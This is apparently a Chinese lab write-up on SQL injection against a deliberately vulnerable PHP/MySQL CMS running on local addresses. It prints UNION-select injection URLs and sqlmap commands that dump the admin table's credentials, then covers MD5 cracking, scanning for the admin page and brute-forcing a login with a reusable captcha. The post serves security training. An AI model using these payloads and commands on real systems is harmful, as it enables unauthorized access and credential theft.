渗透测试之SQL注入实战练习---Mysql+php注入练习环境

渗透测试之SQL注入实战练习—Mysql+php注入练习环境

渗透测试之SQL注入实战练习
靶机经典案例:Mysql+php注入练习环境(ACTcms,news.php?cid=2&listid=5&newsid=25,可练习outfile,admin/admin,后台上传php4)
方法一:(手工注入)
总共发现4个注入点
第一个listid
第二个 newsid
第三个 cid
第四个 proid
下面笔者将以第一个注入点listid为例展开阐述,详细注入过程如下:
① id后加’,页面返回异常,证明存在注入点。
在这里插入图片描述
② and 1=1 显示正常。
在这里插入图片描述
③ and 1=2 显示不正常 存在数字型注入。
在这里插入图片描述
④ 接下来我们开始查共有几个字段,通过order by进行尝试,发现 11 返回异常,10则返回正常。
在这里插入图片描述
在这里插入图片描述
⑤ 确定出字段后,利用union select确定出回显位置。
在这里插入图片描述
⑥ 确定出回显位置后,利用回显位置查出数据库名称为510cms
在这里插入图片描述
⑦ 再利用回显位置,查询出表名为510_admin。
http://127.0.0.1:800/510cms2/product.php?cid=4&listid=7%20union%20select%201,2,3,table_name,5,6,7,8,9,10%20from%20information_schema.tables%20where%20table_schema=database%28%29(%20为空格,%28%29为())
在这里插入图片描述
⑧ 在根据查出的表名查出表里的字段名分别为id,mid,name,passwd,remark。
http://127.0.0.1:800/510cms2/product.php?cid=4&listid=7%20union%20select%201,2,3,group_concat%28column_name%29,5,6,7,8,9,10%20from%20information_schema.columns%20where%20table_name=’510_admin’%20and%20table_schema=database%28%29
在这里插入图片描述
⑨ 知道表中的字段后,我们就可以获取相应用户名(admin)和密码(21232f297a57a5a743894a0e4a801fc3)了。
http://127.0.0.1:800/510cms2/product.php?cid=4&listid=7%20union%20select%201,2,passwd,name,5,6,7,8,9,10%20from%20510_admin
在这里插入图片描述
⑩ 将(21232f297a57a5a743894a0e4a801fc3)进行MD5解密,可知密码为:admin.
在这里插入图片描述
⑪ 用御剑跑后台拿到管理员登陆页面。
127.0.0.1:800/510cms2/admin/admin_index.php
在这里插入图片描述
⑫ 利用上面的账号密码即可登陆成功,成功拿下最高权限,进行相关操作,注入完成!!!
在这里插入图片描述
在这里插入图片描述

方法二:(sqlmap注入)

注入思想同方法一,起始步骤也同方法一,在得知了注入点后,我们利用sqlmap工具进行注入,这里还是以listid为例展开阐述。
①Listid存在注入点
在这里插入图片描述
在这里插入图片描述
②后端服务器筛选了字符’>’。强烈建议您使用“–tamper=between”重新运行
在这里插入图片描述
③sqlmap.py -u “http://192.168.0.104:800/510cms2/product.php?cid=4&listid=6” --tamper=“between.py” --current-db
这样我们就得出数据库名510cms.
在这里插入图片描述
④得知当前用户权限是否够高,为root@localhost.
在这里插入图片描述
⑤sqlmap.py -u “http://192.168.0.104:800/510cms2/product.php?cid=4&listid=6” --tamper=“between.py” -D 510cms --table --batch
查一下数据库510cms中有哪些表,具体如下图所示:

在这里插入图片描述
⑥sqlmap.py -u “http://192.168.0.104:800/510cms2/product.php?cid=4&listid=6” --tamper=“between.py” -D 510cms -T 510_admin --columns --batch
查一下510_admin表中有几列,具体如下如所示:
在这里插入图片描述
⑦sqlmap.py -u “http://192.168.0.104:800/510cms2/product.php?cid=4&listid=6” --tamper=“between.py” -D 510cms -T 510_admin --tables -C “name,passwd” --dump --batch
这样我们就得到了用户名密码:
在这里插入图片描述
⑧之后同方法一,利用MD5进行解密,得到密码,在用御剑拿到后台登陆页面,即可登录后台,进行操作!!!注入成功!!!

方法三:(暴力破解方式拿到权限)

① 首先用御剑跑出后台登陆地址。
在这里插入图片描述
②打开URL:http://192.168.3.83:800/510cms2/admin/
获取admin目录下全部路径
在这里插入图片描述
② 打开管理员登录页面:http://192.168.3.83:800/510cms2/admin/login.php
在这里插入图片描述
③ 使用同一个验证码,用burp进行多次尝试发现提示用户名或密码不正确而非验证码不正确,此处验证码获取可以多次使用,没有时效性(此处验证码区分大小写)
在这里插入图片描述
在这里插入图片描述
④ 尝试暴力破解
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
⑤ 看到admin/admin与其他明显长度不同
尝试管理员账号密码是否为admin/admin
登录成功,成功爆破!!!
在这里插入图片描述
(完毕!!!)
后续操作请持续关注哦!!!
了解更多请关注下列公众号:
😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗 😗
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值